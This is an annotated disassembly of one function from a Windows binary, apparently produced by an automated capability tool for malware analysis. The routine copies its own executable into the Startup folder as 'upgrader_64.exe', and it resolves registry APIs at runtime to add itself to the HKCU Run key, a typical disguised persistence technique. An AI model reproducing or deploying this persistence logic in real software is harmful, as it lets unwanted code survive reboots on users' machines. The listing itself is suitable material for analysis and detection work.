Function at 0x14000c9c0
Capabilities:
Copy file
Link many functions at runtime
Persist via run registry key

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xcf0
lea rax, str.upgrader_64.exe
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0xd08]
mov dword [rsp + 0xce0], eax
cmp dword [rsp + 0xce0], 0
je 0x14000ca08
cmp dword [rsp + 0xce0], 1
je 0x14000cb4f
jmp 0x14000cdfa
mov dword [rsp + 0x470], 0
xor eax, eax
mov word [rsp + 0x480], ax
lea rax, [rsp + 0x482]
mov rdi, rax
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
xor eax, eax
mov word [rsp + 0x260], ax
lea rax, [rsp + 0x262]
mov rdi, rax
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
lea rcx, str.Shell32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x250], rax
lea rdx, str.SHGetSpecialFolderPathW
mov rcx, qword [rsp + 0x250]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0xd00]
mov qword [rcx + 0x290], rax
mov rax, qword [rsp + 0xd00]
cmp qword [rax + 0x290], 0
jne 0x14000caa1
xor eax, eax
jmp 0x14000cdfc
mov r9d, 1
mov r8d, 7
lea rdx, [rsp + 0x480]
xor ecx, ecx
mov rax, qword [rsp + 0xd00]
call qword [rax + 0x290]
mov dword [rsp + 0x470], eax
cmp dword [rsp + 0x470], 0
jne 0x14000cadd
xor eax, eax
jmp 0x14000cdfc
mov r8d, 0x104
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov r9, qword [rsp + 0x30]
lea r8, [rsp + 0x480]
lea rdx, str._s_s
lea rcx, [rsp + 0x260]
call qword [sym.imp.USER32.dll_wsprintfW]
xor r8d, r8d
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [rsp + 0x470], eax
cmp dword [rsp + 0x470], 0
jne 0x14000cb40
xor eax, eax
jmp 0x14000cdfc
mov eax, 1
jmp 0x14000cdfc
lea rcx, [0x14008bc78]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, qword [rsp + 0xd00]
mov qword [rcx + 0x240], rax
lea rdx, [0x14008bc98]
mov rax, qword [rsp + 0xd00]
mov rcx, qword [rax + 0x240]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0xd00]
mov qword [rcx + 0x250], rax
lea rdx, [0x14008bcb0]
mov rax, qword [rsp + 0xd00]
mov rcx, qword [rax + 0x240]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0xd00]
mov qword [rcx + 0x268], rax
lea rdx, [0x14008bcc0]
mov rax, qword [rsp + 0xd00]
mov rcx, qword [rax + 0x240]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0xd00]
mov qword [rcx + 0x288], rax
lea rdx, [0x14008bcd0]
mov rax, qword [rsp + 0xd00]
mov rcx, qword [rax + 0x240]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0xd00]
mov qword [rcx + 0x280], rax
mov rax, qword [rsp + 0xd00]
cmp qword [rax + 0x250], 0
je 0x14000cc5f
mov rax, qword [rsp + 0xd00]
cmp qword [rax + 0x268], 0
je 0x14000cc5f
mov rax, qword [rsp + 0xd00]
cmp qword [rax + 0x288], 0
je 0x14000cc5f
mov rax, qword [rsp + 0xd00]
cmp qword [rax + 0x280], 0
jne 0x14000cc66
xor eax, eax
jmp 0x14000cdfc
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x698], rax
lea rax, [rsp + 0x690]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rdx, qword [rsp + 0x698]
mov rcx, 0xffffffff80000001
mov rax, qword [rsp + 0xd00]
call qword [rax + 0x268]
test eax, eax
jne 0x14000cdf6
mov r8d, 0x104
lea rdx, [rsp + 0x8b0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rsp + 0x6a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov dword [rsp + 0xac0], 0x104
lea rcx, [rsp + 0x8b0]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
shl rax, 1
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x8b0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x690]
mov rax, qword [rsp + 0xd00]
call qword [rax + 0x288]
test eax, eax
jne 0x14000cdda
xor eax, eax
mov word [rsp + 0xad0], ax
lea rax, [rsp + 0xad2]
mov rdi, rax
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
mov dword [rsp + 0xac4], 0x208
lea rax, [rsp + 0xac4]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xad0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x690]
mov rax, qword [rsp + 0xd00]
call qword [rax + 0x250]
test eax, eax
jne 0x14000cdbe
mov rcx, qword [rsp + 0x690]
mov rax, qword [rsp + 0xd00]
call qword [rax + 0x280]
mov eax, 1
jmp 0x14000cdfc
mov rcx, qword [rsp + 0x690]
mov rax, qword [rsp + 0xd00]
call qword [rax + 0x280]
xor eax, eax
jmp 0x14000cdfc
mov rcx, qword [rsp + 0x690]
mov rax, qword [rsp + 0xd00]
call qword [rax + 0x280]
xor eax, eax
jmp 0x14000cdfc
xor eax, eax
jmp 0x14000cdfc
xor eax, eax
add rsp, 0xcf0
pop rdi
ret